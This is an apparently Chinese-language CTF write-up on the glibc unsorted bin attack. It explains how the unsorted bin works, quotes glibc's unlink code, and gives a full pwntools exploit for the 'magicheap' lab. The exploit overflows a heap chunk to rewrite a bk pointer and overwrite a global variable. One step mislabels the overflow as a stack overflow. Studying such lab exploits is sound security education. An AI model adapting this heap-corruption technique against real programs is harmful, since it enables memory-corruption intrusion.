unsorted bin attack:
攻击前提:控制挂进unsorted bin的chunk的bk指针,在控制bk指针的情况下可以实现修改任意地址值为一个较大的值
unsorted bin:
可以看作是空闲chunk回归所属bin之前的缓冲区
unsorted bin是一个双向链表(乱序)
unsorted bin采用FIFO===》插入的chunk到unsorted bin头部,取出的时候从链表尾获取
在程序malloc时,如果fastbin,small bin中找不到相应大小的chunk,从unsorted bin中寻找chunk,
如果取出来的chunk的size刚好满足==》交给用户,否则就会把这些chunk放入unsorted bin中
unsorted bin chunk来源:
1、当一个较大的chunk被分割成两部分,剩下的部分大于MINSIZE==》放入unsorted bin
2、释放一个不属于fastbin 的chunk,并且不与top chunk相邻==》放入unsorted bin
3、进行malloc_consolidate(块合并)时,如果合并后的chunk不与top chunk相邻==》放入unsorted bin
unsorted bin 摘除:
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
#bk指向他后一个被释放的chunk的块地址(bck)
#后一个chunk的fd指向的是unsorted chunk的块地址
#控制chunk的bk指针==》可以将unsorted chunk的块地址写在任意可写的地址
bck->fd = unsorted_chunks (av);
例题:
hitcontraining_lab14:
检查保护:
静态分析:
主函数:
add:
edit:
dele:
思路总结与动态调试;
1、当全局变量magic 0x6020C0的数值大于0x1305时触发后面函数
2、在edit()中存在堆溢出
准备工作:
创建一个堆块==》触发栈溢出
创建一个能放进unsorted bin的chunk
创建一个隔绝top chunk的chunk
add(0x20,'aaaa')#0
add(0x80,'bbbb')#1
add(0x20,'cccc')#2
==》释放chunk1,进入unsorted bin==》
dele(1)
==》伪造对全局变量进行控制的fake_chunk==》为bk指针做准备==》
fake_chunk_addr=magic-0x10
==》触发溢出==》修改chunk1的bk指针==》
payload='a'*0x20+p64(0)+p64(0x91)+p64(0)+p64(fake_chunk_addr)
申请fake_chunk==》
add(0x80,'0x1306')
在主函数输入选项4869==》cat flag:
exp:
#coding=UTF-8
from pwn import *
from LibcSearcher import *
io=process('./magicheap')
elf=ELF('./magicheap')
#libc=ELF()
def add(size,content):
io.recvuntil("Your choice :")
io.sendline('1')
io.recvuntil("Size of Heap : ")
io.sendline(str(size))
io.recvuntil("Content of heap:")
io.sendline(content)
def edit(index,size,content):
io.recvuntil("Your choice :")
io.sendline('2')
io.recvuntil("Index :")
io.sendline(str(index))
io.recvuntil("Size of Heap : ")
io.sendline(str(size))
io.recvuntil("Content of heap : ")
io.sendline(content)
def dele(index):
io.recvuntil("Your choice :")
io.sendline('3')
io.recvuntil("Index :")
io.sendline(str(index))
add(0x20,'aaaa')#0
add(0x80,'bbbb')#1
add(0x20,'cccc')#2
dele(1)
fake_chunk_addr=0x6020C0-0x10
payload='a'*0x20+p64(0)+p64(0x91)+p64(0)+p64(fake_chunk_addr)
edit(0,0x40,payload)
add(0x80,'0x1306')
io.recvuntil("Your choice :")
io.sendline('4869')
gdb.attach(io)
io.interactive()